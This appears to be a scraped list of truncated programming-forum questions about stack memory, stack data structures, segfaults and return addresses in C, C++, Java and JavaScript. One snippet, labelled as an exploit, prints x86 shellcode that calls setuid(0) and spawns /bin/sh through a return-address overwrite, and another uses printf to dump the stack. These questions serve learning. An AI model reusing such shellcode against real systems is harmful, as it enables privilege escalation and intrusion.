i have been reading about a function that can overwrite its return address. void foo(const char* input) { char buf[10]; //What? No extra arguments supplied to printf? //It's a cheap trick to view the stack 8-) //We'll see this trick again when we look at format strings. printf("My stack looks like:\n%p\n%p\n%p\n%p\n...
void someFunc() { int stackInt = 4; someOtherFunc(&stackInt); } Is it the case that stackInt's address space could be reallocated after someFunc ends, making it unsafe to assume that the value passed to someOtherFunc represents the stackInt variable with value 4 that was passed to it? In other words, should I avoid passing sta...
When we have code like: function a(){ var x =0; this.add=function(){ alert(x++); } } var test = new a(); test.add(); // alert 0 test.add(); // alert 1 test.add(); // alert 2 How does this work? Doesn't that the value of 'x' in a() should be 'gone' as soon as test = new a() is complete? The stack contains x shoul...
For example when we call say, a recursive function, the successive calls are stored in the stack. However, due to an error if it goes on infinitely the error is 'Segmentation fault' (as seen on GCC). Shouldn't it have been 'stack-overflow'? What then is the basic difference between the two? Btw, an explanation would be more helpful t...
I have setup the following header file to create a Stack which uses an Array. I get the following at line 7: error: ISO C++ forbids declaration of 'Stack" with no type. I thought the type was the input value. Appreciate your help. Thank you. #ifndef ARRAYSTACKER_H_INCLUDED #define ARRAYSTACKER_H_INCLUDED // ArrayStacker.h: ...
Hello All, I have the following piece of snippet Class Sample { Obj_Class1 o1; Obj_Class2 o2;}; But the size of Obj_Class1 and Obj_Class2 is huge so that the compiler shows a warning "Consider moving some space to heap". I was asked to replace Obj_Class1 o1 with Obj_Class1* o1 = new Obj_Class1(); But I feel that there is no use of ...
Say we're writing a simple recursive function fib(n) that calculates the nth Fibonacci number. Now, we want the function to print that nth number. As the same function is being called repeatedly, there has to be a condition that allows only the root call to print. The question is: how to write this condition without passing any additiona...
I'm supporting some c code on Solaris, and I've seen something weird at least I think it is: char new_login[64]; ... strcpy(new_login, (char *)login); ... free(new_login); My understanding is that since the variable is a local array the memory comes from the stack and does not need to be freed, and moreover since no malloc/calloc/real...
Hello, I need a sorted stack. I mean, the element removed from the stack must be the one with great priority. Stack dimension varies a lot (becomes bigger very fast). I need also to search elements in that stack. Does Java give some good implementation for this? What class or algorithm do you suggest for this? I'm using a PriorityQue...
can I use more than one stack in microprocessor? and if I can,How can I progamming those? ...
Situation: I am writing a program in C that maintains a number of threads. Once a thread ends, a new one is created. Each thread forks - the child runs a PHP process via exec() and the parent waits for it to finish. Each PHP process takes the next item from a queue, processes it and exits. Basic code: http://www.4pmp.com/2010/03/mu...
Hi there, I've tried to ask this before, but nothing got answered. Basically, I would like someone to explain to me how to create a table, which when a cell is tapped, pushes the user to the next view for that cell. I have this so far: Click here to view what I have. I would further like to, say when CSS is tapped, it goes to a new vi...
How does returning a value from a function internally works ? See this example.. ...
WARNING: This is an exploit. Do not execute this code. //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; ...
Greetings all, I've written software in the past that uses a stack to check for balanced equations, but now I'm asked to write a similar algorithm recursively to check for properly nested brackets and parenthesis. Good examples: () [] () ([]()[]) Bad examples: ( (] ([)] Suppose my function is called: isBalanced. Should e...
For a class assignment, I have to use two stacks in C++ to make an equation to be converted to its left to right equivalent: 2+4*(3+4*8) --> 35*4+2 --> 142 Here is the main code: #include <iostream> #include <cstring> #include "ctStack.h" using namespace std; int main (int argc, char * const argv[]) { string expression = "2+4*2"; ...
Hello. I am compiling C++ on *nix and I would like to generate a stack dump a) at an arbitrary point in the program, b) during any signal, particularly during SIGSEGV. Google tells me that ptrace is probably the tool for the job, but I can't find any comprehensible examples of walking the stack. Getting the return address, yeah, but wh...
I know this topic has been covered ad nauseam here, and other places on the internet - but hopefully the question is a simple one as I try to get my head around assembly... So if i understand correctly the ebp (base pointer) will point to the top of the stack, and the esp (stack pointer) will point to the bottom -- since the stack grow...
I am exploring the lower level workings of the system, and was wondering how malloc determines the start address of the heap. Is the heap at a constant offset or is there a call of some sort to get the start address? Does the stack affect the start address of the heap? ...
How to know and then print out (in debug) the stack level reached in a certain moment inside a function call? ...